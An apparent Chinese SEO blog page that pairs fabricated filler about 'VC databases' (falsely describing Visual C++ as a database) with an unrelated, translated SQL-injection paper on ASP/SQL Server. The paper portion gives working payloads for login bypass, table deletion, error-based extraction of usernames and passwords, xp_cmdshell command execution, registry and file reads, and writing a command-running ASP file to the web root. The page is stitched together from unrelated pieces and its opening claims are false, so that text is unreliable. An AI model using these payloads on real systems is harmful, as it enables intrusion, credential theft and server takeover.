VC数据库更新:提高效率,立即行动! (vc 立即更新数据库)

近年来,随着信息技术的快速发展,企业管理也随之变得更加便捷高效。作为支撑企业管理的重要工具之一,数据库在各行各业都扮演着重要角色。在科技、互联网、金融等领域,尤其需要依靠数据库收集、保存、处理和传递大量数据。为了提高数据库操作效率,企业管理者需了解VC数据库更新的重要性,并采取立即行动。

VC数据库更新—原理解析

VC数据库,也就是Visual C++数据库,是一种常常用于Windows平台的高效数据库。它和Access和SQL Server等主流数据库相比,具有更优异的性能表现和更低的资源消耗。然而,VC数据库作为一款技术领先的数据库,仍然存在升级整合的需求(比如升级非中文Windows系统的编译器),而这种VC数据库的升级更新方式,也就是VC数据库更新。

VC数据库更新,主要有以下几个方面:

1. 新增特性跟进:随着VC数据库技术的不断发展,其在安全性、性能、数据处理等方面的新特性也在逐步推出。如此一来,企业管理者可以通过VC数据库的升级,更好地体验到新特性带来的更高效、更智能的管理体验。

2. 修复数据安全漏洞:在使用VC数据库过程中,可能会遇到某些安全漏洞的问题,比如有些敏感信息容易被黑客盗取。VC数据库更新的一个重点在于修复数据安全漏洞,保障企业资产和用户隐私安全。

3. 优化性能表现:VC数据库在大型企业系统中扮演着重要角色,因此,优化它的性能表现并降低资源消耗,也是VC数据库更新的一个方向。通过更新VC数据库,可以更好地提高其性能表现,减少系统崩溃、死锁等问题。

4. 跟进标准规范:各国和专业技术机构出台的行业标准和规范,都需要与之相应的技术体系。VC数据库更新也会跟进相关国家、行业标准规范的变化,让VC数据库更好地适应新环境和新要求。

VC数据库更新—驱动力解析

VC数据库更新是一项长期迭代的过程。那么,驱动这项工作的力量是什么呢?

1. 生产和商业竞争:对于企业而言,VC数据库是重要的历史、管理、服务和决策的支撑件之一。如果使用VC数据库的企业无法及时升级更新,那么就会面临着利益和市场的困扰,甚至很可能丧失业务竞争优势。

2. 技术发展:随着技术的不断革新,VC数据库使用的语言和环境也在逐步改变,它需要不断优化调整以适应新技术环境,才能保证其在未来的使用兼容性和稳定性。

3. 安全风险:作为企业管理中的重要数据组成部分,VC数据库的安全风险包括黑客攻击、恶意软件和病毒感染等,这些问题通过VC数据库更新可以得到更好的解决与预防。

VC数据库更新—立即行动

知道VC数据库更新的重要性和驱动力之后,企业管理者需要采取立即行动,将其落实到日常管理工作之中。

1. 制定更新策略:制定VC数据库更新的计划,明确更新目标和时间表,确保每次更新都不会影响业务流程,减少更新后出现问题风险。

2. 保证数据安全:数据是VC数据库的核心资产,保证数据安全是VC数据库更新的重点。更新VC数据库之前,应当先对数据进行备份。更新后,对数据的完整性、准确性和安全性进行检查。

3. 进行回归测试:在将新版本的VC数据库投入使用之前,需要进行完整性测试,以确保VC数据库的可用性、效率和性能都得到了提升。

4. 建立反馈机制:在使用VC数据库过程中,很有可能会碰到问题和疑虑。企业可以建立反馈机制,让员工可以提交问题和建议,从而及时改进更新方案和措施,提升VC数据库更新的效果和效率。

总体而言,VC数据库更新是企业管理中重要的一环。只有合理制定更新策略,保证数据安全、进行回归测试和建立有效反馈机制,才能真正提高VC数据库效率,助力企业管理更加便捷高效,提升核心竞争力。

相关问题拓展阅读:

如何使用vc6.0和sql2023进行连接和数据库操作(查询插入更新删除),更好举例

这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。

这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。

介绍:

SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执核弯隐行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。

当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

一个典型的SQL语句如下:

Select id,forename,surname from authors

这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:

Select id,forename,surname from authors where forename’john’ and surname=’ith’

需要着重指明的是字符串’john’和’ith’被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,

如下:

Forename:jo’hn

Surname:ith

查询语句变为:

Select id,forename,surname from authors where forename=’jo’hn’ and surname=’ith’

当数据库试图去执行这个查询时,它将返回如下错误:

Server:Msg 170, Level 15, State 1, Line 1

Line 1:Incorrect syntax near ‘hn’

造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行’hn’,但是失败。如果攻击者提供特别的输入如:

Forename:jo’;drop table authors—

Surname:

结果是authors表被删除,造成这种结果的原因我们稍后再讲。

看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。之一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:

Select id,forename,surname from authors where id=1234

在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用’#’限定。第二,避免单引号尽管看上去可以,但是是改厅没必要的闹冲,原因我们稍后再讲。

我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。

这是一个提交表单页的代码,让用户输入用户名和密码:

Login Page

Login

Username:

Password:

下面是process_login.asp的代码,它是用来控制登陆的:

p { font-size=20pt ! important}

font { font-size=20pt ! important}

h1 { font-size=64pt ! important}

ACCESS DENIED

ACCESS GRANTED

Welcome, ” ); Response.end }

}

function Main() { //Set up connection

var username

var cn = Server.createobject( “ADODB.Connection” );

cn.connectiontimeout = 20;

cn.open( “localserver”, “sa”, “password” );

username = new String( Request.form(“username”) );

if( username.length > 0) {

Login( cn );

}

cn.close();

}

Main();

%>

出现问题的地方是process_lgin.asp中产生查询语句的部分:

Var sql=”select * from users where username='”+username+”‘ and password='”+password+”‘”;

如果用户输入的信息如下:

Username:’;drop table users—

Password:

数据库中表users将被删除,拒绝任何用户进入应用程序。’—’符号在Transact-SQL中表示忽略’—’以后的语句,’;’符号表示一个查询的结束和另一个查询的开始。’—’位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:

Username:admin’—

攻击者可以使用users表中之一个用户,输入如下:

Username:’ or 1=1—

更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:

Username:’ union select 1,’fictional_user’,’some_password’,1—

这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

通过错误消息获得信息

这个几乎是David Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:

Create talbe users(

Id int,

Username varchar(255),

Password varchar(255),

Privs int

)

然后将下面的用户插入到users表中:

Insert into users values(0,’admin’,’r00tr0x!’,0xffff)

Insert into users values(0,’guest’,’guest’,0x0000)

Insert into users values(0,’chris’,’password’,0x00ff)

Insert into users values(0,’fred’,’sesame’,0x00ff)

如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个’1’,这样只给他自己一个低权限的用户。

幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。

(下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)

首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:

Username:’ having 1=1—

这样将会出现如下错误:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/process_login.asp, line 35

因此现在攻击者知道了表的名字和之一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:

Username:’ group by users.id having 1=1—

出现的错误如下:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/process_login.asp, line 35

最终攻击者得到了username字段后:

‘ group by users.id,users.username,users.password,users.privs having 1=1—

这句话并不产生错误,相当于:

select * from users where username=”

因此攻击者现在知道查询涉及users表,按顺序使用列’id,username,password,privs’。

能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

Username:’ union select sum(username) from users—

这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

The sum or average aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

这告诉了我们’username’字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个的字段数量不相等。

Username:’ union select sum(id) from users—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

/process_login.asp, line 35

我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

这样攻击者就可以写一个好的insert查询,例如:

Username:’;insert into users values(666,’attacker’,’foobar’,’0xffff)—

这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:

select * from master ..syessages

解释这些将实现有趣的消息。

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:

Username:’ union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the nvarchar value ‘Microsoft SQL Server.00.194 (Intel X86) Aug:57:48 Copyright (c)Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of data type int.

/process_login.asp, line 35

这句尝试去将内置的’@@version’常量转化成一个整型数字,因为users表中的之一列是整型数字。

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

Username:’ union select min(username),1,1,1 from users where username>’a’—

这句选择users表中username大于’a’中的最小值,并试图把它转化成一个整型数字:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘admin’ to a column of data type int.

/process_login.asp, line 35

因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

Username:’ union select min(username),1,1,1 from users where username>’admin’—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘chris’ to a column of data type int.

/process_login.asp, line 35

一旦攻击者确定了用户名,他就可以开始收集密码:

Username:’ union select password,1,1,1 from users where username=’admin’—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘r00tr0x!’ to a column of data type int.

/process_login.asp, line 35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

begin declare @ret varchar(8000)

set @ret=’:’

select @ret=@ret+’ ‘+username+’/’+password from users where

username>@ret

select @ret as ret into foo

end

攻击者使用这个当作用户名登陆(都在一行)

Username: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+username+’/’+password from users where username>@ret select @ret as ret into foo end—

这就创建了一个foo表,里面只有一个单独的列’ret’,里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。

然后攻击者就可以取得我们要得到的字符串:

Username:’ union select ret,1,1,1 from foo—

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int.

/process_login.asp, line 35

然后丢弃(删除)表来清楚脚印:

Username:’; drop table foo—

这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

获得更高的权限

一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:

1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。

2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)

3. 利用其他存储过程去改变服务器

4. 在连接的服务器上执行查询

5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码

6. 使用’bulk insert’语法去读服务器上的任意文件

7. 使用bcp在服务器上建立任意的文本格式的文件

8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情

这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:

许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。

Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:

Exec master..xp_cmdshell ‘dir’

将获得SQLSERVER进程的当前工作目录中的目录列表。

Exec master..xp_cmdshell ‘net user’

将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

另一个有用的内置存储过程是xp_regXXXX类的函数。

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumkeys

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

这些函数的使用方法举例如下:

exec xp_regread HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’

这将确定什么样的会话连接在服务器上是可以使用的

exec xp_regenumvalues HKEY_LOCAL_MACHINE,’SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’

这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。

xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:

exec master..xp_servicecontrol ‘start’,’schedule’

exec master..xp_servicecontrol ‘start’,’server’

下表中列出了少量的其他有用的存储过程:

Xp_availablemedia 显示机器上有用的驱动器

Xp_dirtree 允许获得一个目录树

Xp_enumdsn 列举服务器上的ODBC数据源

Xp_loginconfig Reveals information about the security mode of the server

Xp_makecab 允许用户在服务器上创建一个压缩文件

Xp_ntsec_enumdomains 列举服务器可以进入的域

Xp_terminate_process 提供进程的进程ID,终止此进程

SQL SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用’sp_addlinkedsrvlogin’过程,当前可信的连接不用登陆就可以访问到服务器。’openquery’函数允许查询脱离服务器也可以执行。

扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。

一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):

Sp_addextendedproc ‘xp_webserver’,’c:\temp\xp_foo.dll’

在正常的方式下,这个扩展存储过程可以被运行:

exec xp_webserver

一旦这个程序被运行,可以使用下面的方法将它除去:

xp_dropextendedproc ‘xp_webserver’

使用’bulk insert’语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:

create table foo( line varchar(8000) )

然后执行bulk insert操作把文件中的数据插入到表中,如:

bulk insert foo from ‘c:\inetpub\wwwroot\process_login.asp’

可以使用上述的错误消息技术,或者使用’union’选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。

使用’bulk insert’的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。’bcp’,即’bulk copy program’

既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。

命令行格式如下:

bcp “select * from text..foo” queryout c:\inetpub\wwwroot\runcommand.asp –c -Slocalhost –Usa –Pfoobar

‘S’参数为执行查询的服务器,’U’参数为用户名,’P’参数为密码,这里为’foobar’

SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:

(1)这个例子使用’wscript.shell’对象建立了一个记事本的实例:

wscript.shell example

declare @o int

exec sp_oacreate ‘wscript.shell’,@o out

exec sp_oamethod @o,’run’,NULL,’notepad.exe’

我们可以通过指定在用户名后面来执行它:

Username:’; declare @o int exec sp_oacreate ‘wscript.shell’,@o out exec sp_oamethod @o,’run’,NULL,’notepad.exe’—

(2)这个例子使用’scripting.filesystemobject’对象读一个已知的文本文件:

–scripting.filesystemobject example – read a known file

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate ‘scripting.filesystemobject’, @o out

exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1

exec @ret=sp_oamethod @f,’readline’,@line out

while(@ret=0)

begin

print @line

exec @ret=sp_oamethod @f,’readline’,@line out

end

(3)这个例子创建了一个能执行通过提交到的任何命令:

— scripting.filesystemobject example – create a ‘run this’.asp file

declare @o int,@f int,@t int,@ret int

exec sp_oacreate ‘scripting.filesystemobject’,@o out

exec sp_oamethod @o,’createtextfile’,@f out,’c:\inetpub\wwwroot\foo.asp’,1

exec @ret=sp_oamethod @f,’writeline’,NULL,”

需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。

(4)这些例子阐述了这个技术的适用性;它可以使用’speech.voicetext’对象引起SQL SERVER发声:

declare @o int,@ret int

exec sp_oacreate ‘speech.voicetext’,@o out

exec sp_oamethod @o,’register’,NULL,’foo’,’bar’

exec sp_oasetproperty @o,’speed’,150

exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to,us’,528

waitfor delay ’00:00:05′

我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):

Username:admin’;declare @o int,@ret int exec sp_oacreate ‘speech.voicetext’,@o out exec sp_oamethod @o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150 exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to us’,528 waitfor delay ’00:00:05′–

传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。

本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。

比较好的常规的标准是:

· 如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。

关于vc 立即更新数据库的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。


数据运维技术 » VC数据库更新:提高效率,立即行动! (vc 立即更新数据库)